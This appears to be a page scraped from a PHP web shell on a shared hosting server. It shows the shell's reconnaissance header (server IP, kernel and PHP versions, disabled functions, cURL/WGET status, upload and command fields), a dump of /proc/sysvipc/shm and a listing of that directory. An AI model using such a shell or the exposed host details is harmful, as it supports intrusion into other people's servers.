Server IP : 68.65.123.43 / Your IP : 216.73.216.162
System : Linux server266.web-hosting.com 4.18.0-513.18.1.lve.el8.x86_64 #1 SMP Thu Feb 22 12:55:50 UTC 2024 x86_64
PHP Version : 8.0.30
Disable Function : NONE
cURL : ON | WGET : ON | Sudo : OFF | Pkexec : OFF
Upload Files :
Command :
Current File : /proc/sysvipc//shm
key shmid perms size cpid lpid nattch uid gid cuid cgid atime dtime ctime rss swap
0 1238106112 1600 195408 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712040 196608 0
0 1238106113 1600 217112 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712042 221184 0
0 1238106114 1600 238816 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712044 241664 0
0 1238106115 1600 260544 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712046 262144 0
5555 4 644 1024 5334 895830 0 0 0 0 0 1750988425 1750988425 1716211385 4096 0
0 1238106117 1600 282240 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712048 282624 0
0 1238106119 1600 303944 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712050 307200 0
0 1238106120 1600 325632 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712052 327680 0
0 1238106121 1600 347328 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712054 348160 0
0 1238106122 1600 369016 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712057 372736 0
0 1238106123 1600 390704 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712059 393216 0
0 1238106124 1600 412400 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712061 413696 0
0 1238106125 1600 434096 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712063 434176 0
0 1238106126 1600 455784 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712065 458752 0
0 1238106127 1600 477472 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712067 479232 0
0 1238106128 1600 499168 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712069 499712 0
0 1238106129 1600 520856 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712071 524288 0
0 1238106130 1600 542544 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712073 544768 0
0 1238106131 1600 564240 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712075 565248 0
0 1238106132 1600 585936 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712077 589824 0
0 1238106133 1600 607632 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712079 610304 0
0 1238106134 1600 629336 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712081 630784 0
0 1238106135 1600 651040 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712083 651264 0
0 1238106136 1600 672744 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712086 675840 0
0 1318715417 1600 524288 2264493 2264495 1 24117 24110 24117 24110 1752444896 1752444908 1752444896 8192 0
0 1238106138 1600 694432 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712088 696320 0
0 1238106139 1600 716128 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712090 716800 0
0 1238106140 600 737816 685871 2285171 2 475 468 475 468 1752444928 1752444928 1749712138 741376 0
0 1318420509 1400 634616 2928395 483313 2 484 479 0 0 1752431721 0 1752431721 634880 0
0 1318715422 1600 524288 2284833 2284833 3 16974 16967 16974 16967 1752444927 0 1752444926 8192 0
0 1318682673 1600 524288 2228497 2260805 1 2335 2330 2335 2330 1752444850 1752444862 1752444662 8192 0
0 1238073397 1600 576 685866 2285171 6 475 468 475 468 1752444928 1752444928 1749711961 4096 0
0 1238073398 1600 5329056 685866 2285171 6 475 468 475 468 1752444928 1752444928 1749711961 5332992 0
5432001 1315176503 600 56 2371250 2281972 6 26 26 26 26 1752444916 1752444916 1752303703 4096 0
0 1238073400 1600 21744 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712023 24576 0
0 1238073401 1600 43456 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712025 45056 0
0 1238073402 1600 65160 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712027 65536 0
0 1238073403 1600 86856 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712030 90112 0
0 1238073404 1600 108560 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712032 110592 0
0 1238073405 1600 130312 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712034 131072 0
0 1238073406 1600 152008 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712036 155648 0
0 1238073407 1600 173712 685871 2285171 1 475 468 475 468 1752444928 1752444928 1749712038 176128 0
Name |
Size |
Last Modified |
Owner / Group |
Permissions |
Options |
.. | -- | May 20 2024 09:20:47 | root / root | 0555 | |
| | | | | |
msg | 0 KB | July 13 2025 22:15:28 | root / root | 0444 | |
sem | 0 KB | July 13 2025 22:15:28 | root / root | 0444 | |
shm | 0 KB | July 13 2025 22:15:28 | root / root | 0444 | |